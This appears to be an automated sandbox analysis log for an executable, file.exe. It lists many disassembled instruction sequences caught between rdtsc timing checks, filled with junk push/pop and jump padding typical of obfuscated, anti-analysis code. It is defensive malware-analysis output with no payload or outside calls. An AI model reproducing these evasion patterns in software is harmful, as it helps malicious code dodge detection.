Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8613D6 second address: 8613ED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F8F30FBAE6Ch 0x00000011 je 00007F8F30FBAE66h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861501 second address: 861505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861505 second address: 86150C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8615DD second address: 861608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007F8F30D58CE3h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861608 second address: 861623 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861623 second address: 86162D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8F30D58CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86162D second address: 861664 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F8F30FBAE7Bh 0x00000015 jmp 00007F8F30FBAE75h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861664 second address: 86167A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8F30D58CD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86167A second address: 861680 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861680 second address: 861693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F30D58CDFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861693 second address: 68FCDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c clc 0x0000000d push dword ptr [ebp+122D0079h] 0x00000013 jmp 00007F8F30FBAE78h 0x00000018 pushad 0x00000019 jmp 00007F8F30FBAE70h 0x0000001e push edx 0x0000001f pop ebx 0x00000020 popad 0x00000021 call dword ptr [ebp+122D1804h] 0x00000027 pushad 0x00000028 jmp 00007F8F30FBAE70h 0x0000002d xor eax, eax 0x0000002f pushad 0x00000030 sub dword ptr [ebp+122D278Bh], edi 0x00000036 popad 0x00000037 xor dword ptr [ebp+122D3755h], ecx 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 jo 00007F8F30FBAE6Eh 0x00000047 jp 00007F8F30FBAE68h 0x0000004d pushad 0x0000004e popad 0x0000004f mov dword ptr [ebp+122D3B6Bh], eax 0x00000055 jno 00007F8F30FBAE6Ch 0x0000005b mov esi, 0000003Ch 0x00000060 add dword ptr [ebp+122D278Bh], esi 0x00000066 add esi, dword ptr [esp+24h] 0x0000006a jmp 00007F8F30FBAE74h 0x0000006f lodsw 0x00000071 mov dword ptr [ebp+122D335Eh], ecx 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b or dword ptr [ebp+122D278Bh], ebx 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 jnc 00007F8F30FBAE81h 0x0000008b nop 0x0000008c pushad 0x0000008d jmp 00007F8F30FBAE76h 0x00000092 je 00007F8F30FBAE6Ch 0x00000098 push eax 0x00000099 push edx 0x0000009a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867412 second address: 867421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F8F30D58CD6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867421 second address: 86743A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE75h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86743A second address: 86744D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8F30D58CDAh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86744D second address: 86745A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86745A second address: 867460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867460 second address: 867466 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867466 second address: 867471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86692B second address: 86693F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8F30FBAE6Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86693F second address: 866945 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866945 second address: 86694B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86694B second address: 86695D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 js 00007F8F30D58CDEh 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866D4A second address: 866D56 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866D56 second address: 866D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866E93 second address: 866E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AA76 second address: 86AA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AA82 second address: 86AA88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834BAE second address: 834BD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30D58CE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F8F30D58CD6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834BD4 second address: 834BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834BD8 second address: 834BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834BDE second address: 834C1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dx, si 0x0000000d cld 0x0000000e lea eax, dword ptr [ebp+124789D8h] 0x00000014 call 00007F8F30FBAE71h 0x00000019 push edi 0x0000001a sbb ecx, 502E1B73h 0x00000020 pop edx 0x00000021 pop edi 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834C1D second address: 834C27 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F30D58CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834D32 second address: 834D38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834D38 second address: 834D3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835240 second address: 835244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835244 second address: 835265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 469D3DCCh 0x0000000d sbb ch, FFFFFFE2h 0x00000010 push 767E5B60h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jng 00007F8F30D58CD6h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835265 second address: 83526A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8353A8 second address: 8353B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8353B0 second address: 8353C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jnc 00007F8F30FBAE68h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83562A second address: 83562E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83562E second address: 835634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8357AE second address: 8357B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8357B3 second address: 8357B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8357B8 second address: 8357D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8F30D58CDFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8357D1 second address: 835802 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a and dl, 0000001Eh 0x0000000d push 00000004h 0x0000000f nop 0x00000010 push ecx 0x00000011 jnp 00007F8F30FBAE68h 0x00000017 push edi 0x00000018 pop edi 0x00000019 pop ecx 0x0000001a push eax 0x0000001b pushad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835802 second address: 835808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835808 second address: 835810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835810 second address: 835816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835E08 second address: 835E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835F0A second address: 835F0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835F0E second address: 835F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 jp 00007F8F30FBAE68h 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 jnl 00007F8F30FBAE66h 0x00000018 pop edx 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F8F30FBAE68h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 mov dword ptr [ebp+122D189Bh], ecx 0x0000003b ja 00007F8F30FBAE6Ah 0x00000041 lea eax, dword ptr [ebp+12478A1Ch] 0x00000047 adc ecx, 670AA9F2h 0x0000004d push eax 0x0000004e jp 00007F8F30FBAE79h 0x00000054 jmp 00007F8F30FBAE73h 0x00000059 mov dword ptr [esp], eax 0x0000005c mov dword ptr [ebp+122D19A5h], esi 0x00000062 lea eax, dword ptr [ebp+124789D8h] 0x00000068 xor dword ptr [ebp+122D1B73h], edx 0x0000006e add dword ptr [ebp+122D378Fh], ebx 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835F9D second address: 835FA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835FA1 second address: 835FA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835FA7 second address: 835FAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835FAC second address: 835FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835FB2 second address: 81CFA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a add edx, 49FE3F36h 0x00000010 call dword ptr [ebp+122D35ADh] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AD60 second address: 86ADA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 js 00007F8F30FBAE86h 0x0000000f jmp 00007F8F30FBAE72h 0x00000014 jmp 00007F8F30FBAE6Eh 0x00000019 push esi 0x0000001a jmp 00007F8F30FBAE6Fh 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86ADA4 second address: 86ADAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B3D9 second address: 86B3F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 ja 00007F8F30FBAE66h 0x0000000d jbe 00007F8F30FBAE66h 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007F8F30FBAE66h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B3F5 second address: 86B418 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8F30D58CD6h 0x00000008 jg 00007F8F30D58CD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F8F30D58CDCh 0x00000017 push edi 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B67A second address: 86B690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F8F30FBAE6Eh 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B690 second address: 86B696 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B696 second address: 86B69C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B69C second address: 86B6D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F8F30D58CE9h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8F30D58CDFh 0x00000015 jne 00007F8F30D58CD6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86DF98 second address: 86DFB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30FBAE79h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873639 second address: 87363D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87363D second address: 873647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873647 second address: 873655 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873655 second address: 873663 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8F30FBAE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873663 second address: 873667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872E80 second address: 872ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30FBAE6Bh 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jmp 00007F8F30FBAE6Eh 0x00000010 jmp 00007F8F30FBAE77h 0x00000015 jmp 00007F8F30FBAE75h 0x0000001a push edx 0x0000001b pop edx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872ECE second address: 872EEE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8F30D58CD8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8F30D58CDEh 0x00000011 jnl 00007F8F30D58CD6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873075 second address: 87308E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jns 00007F8F30FBAE66h 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F8F30FBAE72h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87308E second address: 873098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8F30D58CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87334B second address: 873351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873351 second address: 873355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873355 second address: 87335F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87798A second address: 8779AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30D58CE7h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8779AC second address: 8779B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877C5E second address: 877C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878053 second address: 878076 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F8F30FBAE79h 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878076 second address: 878080 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8F30D58CD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87819E second address: 8781A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8782FA second address: 87831A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30D58CE8h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87831A second address: 878325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8F30FBAE66h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878325 second address: 87832A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87832A second address: 878330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878638 second address: 87863D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
